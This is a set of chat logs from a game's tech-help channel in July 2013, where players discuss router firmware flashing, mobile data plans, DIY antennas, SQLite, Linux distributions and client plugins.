T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: it believe it is dlink dir330
T3/r7/2013-07-23.txt.gz:{chan ch=tech}ElFeneri Tech: the Pi isn't good for a router since it only has one ethernet port
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: http://www.dd-wrt.com/site/support/router-database
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Nods, fen, I'm not sure how imma handle that yet. But I need to get a gigabit switch too.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: dir330 is supported, and has documentation for that specific model :P
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: awesome thanks for the resource too
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: So can always look through it when you get free time and measure if it's something you'd want to undertake :P
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: any idea what it would be written in?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Also: http://dd-wrt.com/wiki/index.php/Dir-330#Flashing_to_DD-WRT
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: You won't be writing anything, it's just flashing a new OS on essentially. Like an android phone :P
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: would be nice if this fixed some of the other issues with these routers too
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: http://www.dd-wrt.com/wiki/index.php/What_is_DD-WRT%3F#Features
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: There's all of the features it brings
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: Does Verizon still do the wireless cards with unlimited data for laptops?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Velian Tech: i don't think they do unlimited data at all.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: Verizon does not do unlimited. T-Mobile is the only one.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: probably not since they merged with whoever it was
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: they used to
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: Well, Sprint I think.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: Verizon tossed it 5 years ago.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Tech: Leinei nods.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: AT&T did too unless you are grandfathered and not changed your contract. Verizon forced people to leave the Unlimited.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: Hmm, in that case what would be a good solution for someone who travels to different cities every 3 months? Getting a provider for every new apartment is a pain in the butt.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: This would be internet for a laptop to stream netflix shows.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: Gabelogan: I would look at T-Mobile.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: If it covers the cities you are in, then do that.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: t-mobile has up to 2 gigs of high-speed, then unlimited low-speed
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: (I think it's 2 gigs)
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: It is better than 5 GBs at $50.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: Tmobile has wireless network cards?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Icecool Tech: on my older plan to have tethering with my phone and 5GB of highspeed its $30 additional
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: You can get a $30 pay as you go plan for a cell with unlimited data, 100 minutes of talk, and unlimited text.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: they do, GabeLogan
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: Gabelogan: Tether it too.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: not sure if the data plan is the same for them as for phones, though
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: Hmm , I will def. look into TMobile thanks everyone for the suggestion.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: sprint is unlimited, though, right?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: Turie:  the $30 is for a not-a-smartphone, so would be difficult to tether
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: if you get a pay as you go tmobile smartphone, it's $70 min a month
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: and that's for 1G data
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: Vonliege: http://prepaid-phones.t-mobile.com/prepaid-plans Look at that page.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: It is toward the bottom.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: Plus, you can bring your own phone in and use it!
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: Turie:  the pay as you go plans on that page are zero-data
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: Look closer. 100 minutes talk | Unlimited text | First 5GB at up to 4G speeds
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: that's for a pre-pay plan,.. not pay as you go
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: Same difference when talking to T-Mobile reps.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: just got the wife a t-moblile phone (becuase that the only one that works out where we live)...  with Tmobile, there is a BIG difference between pre-pay and pay-as-you-go
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: the plan we ended up with was a pre-pay $35 non-smartphone with data (for email and facebook... that's about it).
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: it let's her text unlimited, and talk 400
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: and the data is their low-end speed stuff... not the 4G
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: 3G is not that bad. My phone runs that.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: I don't think ANY of the US carriers will let you get a straight up smartphone with less than a ~$50 data plan... reason I think I know that is because I wanted an Iphone with no data (always near wifi) ... couldn't be done
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Ixle Tech: I haven't been following the whole convo, but check out ting.com
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: I even looked into getting an iPhone outright (no subsidy), and none of the carriers would activate it.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Ixle Tech: I've heard good ings about their plans. No overages and credits if you don't use it all.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: there's lot's of smart folks out there, though.  I'm sure there is a way.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: what is their network?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Ixle Tech: spring
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Ixle Tech: "sprint"
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: SPrint
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: CDMA
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: you know what... I really mis-spoke... VERIZON is the carrier I got my wifes phone thru... not t-mobile
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: Verizon is the only carrier that works out here.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: AT&T works about 300 meters up the road
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: Voliege: I was wondering. T-Mobile is not everywhere.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: and all the other carriers that use the same network as AT&T work about 300 meters up the road, too
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: who uses the same towers as verizon? or does it vary from reagion to region?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: it's not like I'm way out in the boonies... Southern Alabama.... it's just that we live in a coverage hole for alot of the carriers
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: CDMA(Verizon/Spring) and GSM(ATT/T-Mobile)
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: so in theory, a sprint phone would work out here as well
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Icecool Tech: tmobile covers their "no-coverage" gap with their wifi calling...(may not always be the best but it works) :P
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: They might.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: how about "ting"... that was mentioned earlier
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: what network do they use?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: Voliege: You might look at T-Mobile for an iPhone. Just get an unlocked iPhone and get a dumb phone contract with T-Mobile and put the sim card into the iPhone.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: Ting uses Sprint phones.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: Not Verizon
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: You can use Wi-Fi for data.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: and unless I am mistaken, an AT&T phone could not be converted to a PCS/CDMA phone.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: They cannot.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: no matter... I just looked at ting/sprint's coverage map... no where even close for anything
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: on a completely different topic... anyone know how to realistically and practically get a radio signal inside a faraday cage?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: I have a steel shed/shop that completly blocks 99.9% of all radio signals.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Axl Tech: run antenna outside?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: as in zero AM/FM radio signal (dozens of stations available right outside the door), no WIFI, and certainly no Cell 
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: Put an radio antenna outside and run a line from it.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: that would cover the AM/FM, but not the cell phone or work-tunes ear muffs
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: that would get radio to a stationary AM/FM radio
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: If you are cheap, then make a pringles can antenna.
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: a can-tena
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: that's what I plan to do to get wifi from the house to the shed
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Turie Tech: http://www.makeuseof.com/tag/how-to-make-a-wifi-antenna-out-of-a-pringles-can-nb/
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Vonliege Tech: then set up a wireless booster inside the shed... there'll be some collision issues, but I should be able to get SOME signal
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: Any way to force an online flash video into full-screen if there's no full-screen button?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: a key combination or anything?
T3/r7/2013-07-23.txt.gz:{chan ch=tech}Leinei Tech: got it, the f key does the trick
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: does any one got a of template i can download where i can insert information about the stats of level sets?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: that be an office file
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Frolo Tech: so you want an excel file where you can enter some pieces of equip with all stats?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: yes Frolo
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Frolo Tech: if there shouldn'T be more complicated stuff to add, just make this table on yourself, should take less than a minute^^
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: what do i do to the file when i click on say lvl41 neck , it opens a window with that piece information?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Frolo Tech: ok, you want an ingame file for equipment management or an excel file?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: an excel file
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Frolo Tech: and you want to klick in an excel table to open what?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: the information about the different pieces
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Frolo Tech: an excel file is not a database, it is a table, rows are the different slots and columns are the values, or what do you want, i have no idea what you want to accomplish with that file
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ranrr Tech: A database is also pretty much a table, although a fancy one.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ayasinda Tech: what you want is a database and no there is no template.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: i want an easy access database for my sets in my inventory so when a piece comes up on market or auction i don't have to identify every time the pieces in my inv. to compare it with to check of its better
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: ahh, then ill have to put it on exel, its going to be a rather large sheet then
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ayasinda Tech: so if I understand correctly you also want that database to compare market/auc stuff and your inventory? So you want an ingame/inclient database?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: nope , i only want to put the info into the database. not to compare it. I'll compare it myself
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ayasinda Tech: ok. well there is no template that I know of. I guess you have to make your own file.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Frolo Tech: look at bast's plugins, there is one that manages a ingame database and when you hover with your mouse over that equip it shows the values
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ayasinda Tech: yep. Baswt is the closest I can think of too
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: ok thanks Ayasinda. And yes Frolo that's what i mean :) i want to see the info when o hover or click on a piece
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ayasinda Tech: but Bast's plugin is a Mush plugin. 
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Frolo Tech: finger bast to get the location of his plugin sets and for infos on the setup
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Frolo Tech: otherwise have a look at access to generate databases
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: sure ty yall, this is kinda a new hobby i would like to do
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ranrr Tech: access is a terrible tool for databases, I would recommend sqlite instead
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: I'll have to google that now then
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Frolo Tech: can you setup local sqlite databases easily as a beginner?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: yes because no setup is needed :) sqlite is just a single file
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: awesome :)
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ranrr Tech: SQLITE is almost like a real database, without the hassle of setting up a database server
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: is that freeware or a trial verion?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ranrr Tech: It's public domain, iirc
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: ahh ok
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ranrr Tech: On my new computer, should I install debian, ubuntu, mint or something else? I'm leaning towards debian, ubuntu is getting a bit icky... any opinions?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ayasinda Tech: I like Kubuntu
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: Depends why you need it. If you want to have sort of Windows experience then Ubuntu, if you want to learn about Linux a bit and want stability, then Debian testing is the go.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ranrr Tech: I've been using linux since 1992, so I am pretty familiar with it :D
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ranrr Tech: I definitely don't want a windows experience.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ranrr Tech: Why would I select debian testing for stability and not debian stable?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Zade Tech: some of the Ubuntu gui interfaces look as though they were designed by mental-retards
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: why the question then, you should be faimiliar with all of them
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ranrr Tech: I don't keep up with the latest development in all distributions, that's why I'm asking.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Zade Tech: as though Ubuntu was designed to make microsoft Windows look good by comparison
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ranrr Tech: I liked ubuntu 5 years ago, when it was brown.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Hollister Tech: racist!
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Zade Tech: Linux is a "server" OS, not a "desktop" OS
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tech: Ranrr pats Zade on his head.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ranrr Tech: Well, I think it'll be debian. Back to basics.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Zade Tech: what color is Ubuntu these days, "a sicky orange brown" (?)
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Zade Tech: is Ubuntu desktop self-sabotaging to avoid copyright or is that design incompetence
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Zade Tech: i used to dislike Windoze, but after the Ubuntu experience, i like Windows
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ixle Tech: User error
T3/r7/2013-07-24.txt.gz:{chan ch=tech}CeriQ Tech: I just noticed it when I was exploring the site - I could access the goal listing but not the actual solutions.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}CeriQ Tech: Oh damn. Mistell. :D
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto snickers softly.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Aterius Tech: any tips for playing this on a Samsung Note 2?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Bamboo Tech: Why?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ixle Tech: Download the app from the Play store
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Aterius Tech: I did 
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Aterius Tech: keyboard takes up half the scree And I can't makeep it go away 
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: with what are you having difficulties on Note?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ixle Tech: Yeah, that's why I hate virtual keyboards. Invest in a bluetooth one if you can
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Aterius Tech: Making the keyboard go away When I'm done with it 
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ixle Tech: Does touching the output window part work?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Bamboo Tech: Back button should make it go away.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Bamboo Tech: In note 2, that is.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Aterius Tech: noneither worksth
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Aterius Tech: no it just scrolls upwhen i touch output window
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: can't you download another client mayb?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tech: Confounded CeriQ claps at Aoric's performance.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Confounded CeriQ Tech: AGAIN?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ixle Tech: But I'm not sure how you're mixing up tech and ct so I'm not sure changing it to clan would even help. That helped me not send ct's to ft or gt
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ixle Tech: Like that!
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tech: Smart move! Ixle tries to start some discussion about the weather, hoping no one noticed his last mischan.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Confounded CeriQ Tech: I'm mixing it up because my brain is in a fog today. And yesterday.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Bamboo Tech: SSD's are woot.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Bamboo Tech: Not asking, sorry.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ayasinda Tech: I hated it. Took mine out
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I put one in. It got lonely, and the HDDs were picking on it, so I got another one.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Bamboo Tech: Why, if I may ask?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Still waiting on the little SSD babies though.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ayasinda Tech: why? configuring win so it would perform optimal was too much trouble + it constantly made my pc crash.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Mushambo Tech: is a virtual machine more secure than using a liveCD for internet banking? what about running the browser from an encrypted container? or are all of them overkill in this day and age?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i don't really care. using a smartcard with a 2048 bit rsa key for bank auth
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ixle Tech: Anyone else catch the google press event this morning?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ixle Tech: If not you can watch the rebroadcast at http://www.youtube.com/watch?v=GZzS6BxHEns
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ayasinda Tech: what did they announce? They're gonna respect privacy from now on?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Cosrin Tech: didn't know there was one... I but I'm kinda out of the loop. Anything interesting come up?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ixle Tech: I'm only about half way through the video atm. New nexus 7 looks really sweet, 1920x1200, surround sound. Play store is gonna offer text books. Android 4.3 is going to have restricted profiles.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Turie Tech: The video has been moved to private.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Hollister Tech: what happened? is it legal to Pirate things now?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Cosrin Tech: if they legalized is it wouldn't be called pirating anymore... I remember when downloading and sharing music for free wasn't pirating. *sigh* those where the good old days.. where a dial up connection could get you 14 kb/s and a bob marley song in a little under an hour and a half :)
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ayasinda Tech: nice times indeed.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Cosrin Tech: ha ha hollister wrong channel :)
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Hollister Tech: oh man, lol
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Hollister Tech: but like I said, pirating has become a big part of this world
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Squamous Morinon Tech: While some things you can understand why one would pirate them (such as there being no real way to get a legal copy), many things are removing any excuse to pirate other than 'I want to enjoy this and not pay the people who worked on it.'
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tech: Ayasinda is agreeing with that Squamous Morinon person again...
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Hollister Tech: not everyone has money. and since most things are dollars. its impossible to pay for things from where I am, economy is going down the gutter and everything you need to pay is going skyhigh
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ayasinda Tech: still means "I want to enjoy this and not pay for it." If you cannot afford it, you cannot have it. Too bad. 
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tech: Chess KING SlyZoR snickers softly.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Cosrin Tech: back in the early 2000's I was a big software pirate. Namely windows operating systems, photoshop, etc. Then I realized that linux was free and open source.. now I try not to ever give myself a reason to pirate. 
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Hollister Tech: I can still have it if I wanted
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: any one know a site to get a sega emulator + games for android 4.1 ?  i would love to play them
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tigernuts Tech: some time ago someone reccommended a website where you could download youtube videos by typing in the relevent url. anyone know what it is?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tynrael Tech: keepvid does that
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Hollister Tech: kissyoutube.com
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tigernuts Tech: keepvid.com?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Hollister Tech: or its kisstube.com
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tigernuts Tech: appears to be splayware
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tigernuts Tech: err splatware
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Hollister Tech: spyware?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tigernuts Tech: nogs
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tigernuts Tech: dirpy looked good but is broken
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tynrael Tech: I haven't had any issues with keepvid.com, multiple qualities and formats to choose from, quick and inbrowser w/ no installation
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Hollister Tech: you could try YoutubedownloaderHD it works great for me
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tigernuts Tech: first thing keepvid did was try to install bollocks
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tynrael Tech: T_T yea NVM
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tynrael Tech: didn't used to do that
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Hollister Tech: like I said. Youtube downloader HD is your best shot. and it add's no 3rd party software or spams your pc, you can also download fully HD films. and convert them from .flv to .mpeg and mp4
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tigernuts Tech: savefrom.net - found it!
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tynrael Tech: whoa, pull files and not just vids? That one looks interesting.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Hollister Tech: found what?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ayasinda Tech: the site he was looking for for his utup videos
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tigernuts Tech: utup?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Ayasinda Tech: youtube sorry
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Koehar Tech: Anyone available to assist with an Aardmush question?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: sort of
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Prince Wario Tech: sure
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Hanslanda Tech: just ask your question, rather than asking for the next available representative.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Koehar Tech: The 'bigmap' I believe it's called, is showing in my main window, as well as the miniwindow provided in the client.  Any way of having it just show up in the miniwindow?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Koehar Tech: Apparently it's not the 'bigmap', it's whatever the local area map it
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Koehar Tech: Apologies for not better understanding the terminology
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Bast Tech: do you have the aardwolf_ascii_map plugin loaded?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Koehar Tech: I believe I do, it's listed under aardwolf_ascii_mapper and it shows it's enabled
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Koehar Tech: Aha!  It was echoing again to the main window. I think I have it solved.  Didn't realize you could right-click the window for more options.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Bast Tech: there you go, was just about to suggest that
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tech: The One Raaigar bows deeply.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Tech: *Yay!*  Go The One Raaigar!!!  Koehar cheers him on.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Koehar Tech: Thank you as well Bast!
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Keranik Tech: Is there any way to execute script commands through an alias in MushClient? EG: bsp spellup add ''spellhere'' could be turned into sua ''spellhere'' for instance?
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Turie Tech: Execute
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Turie Tech: Send to should be Execute.
T3/r7/2013-07-24.txt.gz:{chan ch=tech}Keranik Tech: Many thanks! 
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: does anyone use logmein?
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Daloran Tech: I wouldn't suspect they'd be around if they didn't.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: just wondering if it's worth buying
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Daesilme Tech: LogMeIn, no, but I have used GoToMyPC.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Daesilme Tech: It's not a bad option.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: what's wrong w/ logmein
T3/r7/2013-07-25.txt.gz:{chan ch=tech}Daesilme Tech: Not saying there's anything wrong with it, just haven't used it.
T3/r7/2013-07-25.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ive only used it a couple of times and never understood it well
